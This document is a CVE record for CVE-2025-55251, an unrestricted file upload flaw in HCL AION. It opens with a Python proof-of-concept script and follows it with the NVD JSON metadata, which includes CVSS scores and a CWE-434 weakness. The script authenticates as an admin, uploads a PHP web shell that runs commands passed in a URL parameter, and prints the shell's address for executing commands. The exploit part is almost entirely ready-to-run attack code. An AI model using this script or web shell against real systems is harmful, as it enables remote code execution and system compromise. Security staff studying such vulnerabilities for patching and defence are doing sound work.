CVE-2025-55251

# CVE-2025-55251 PoC - HCL AION Unrestricted File Upload # Requirements: Local access, High privilege account, User interaction import requests import json target = "https://target-aion-instance.com" # Authentication with high privilege account auth_endpoint = f"{target}/api/auth/login" auth_data = { "username": "admin", "password": "password" } session = requests.Session() response = session.post(auth_endpoint, json=auth_data) token = response.json().get('token') # Upload malicious file upload_endpoint = f"{target}/api/file/upload" headers = {"Authorization": f"Bearer {token}"} # Create malicious PHP/WebShell file malicious_content = b'<?php system($_GET["cmd"]); ?>' files = { 'file': ('shell.php', malicious_content, 'application/x-php') } # Send upload request response = session.post(upload_endpoint, headers=headers, files=files) if response.status_code == 200: file_path = response.json().get('file_path') print(f"[+] Malicious file uploaded successfully: {file_path}") print(f"[+] Access shell at: {target}/{file_path}?cmd=whoami") else: print(f"[-] Upload failed: {response.text}")

{"cve": {"id": "CVE-2025-55251", "sourceIdentifier": "[email protected]", "published": "2026-01-19T18:16:04.207", "lastModified": "2026-04-25T18:05:07.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL AION is affected by an Unrestricted File Upload vulnerability. This can allow malicious file uploads, potentially resulting in unauthorized code execution or system compromise."}, {"lang": "es", "value": "HCL AION está afectado por una vulnerabilidad de carga de archivos sin restricciones. Esto puede permitir cargas de archivos maliciosos, lo que podría resultar en ejecución de código no autorizada o compromiso del sistema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:L", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.6, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:aion:2.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "BEBB7E38-04AE-436B-8F21-65FF3CA3CECC"}]}]}], "references": [{"url": "https://support.hcl-software.com/kb_view.do?sys_kb_id=4b92474633de7ad4159a05273e5c7b4b&searchTerm=kb0127995#", "source": "[email protected]", "tags": ["Permissions Required"]}]}}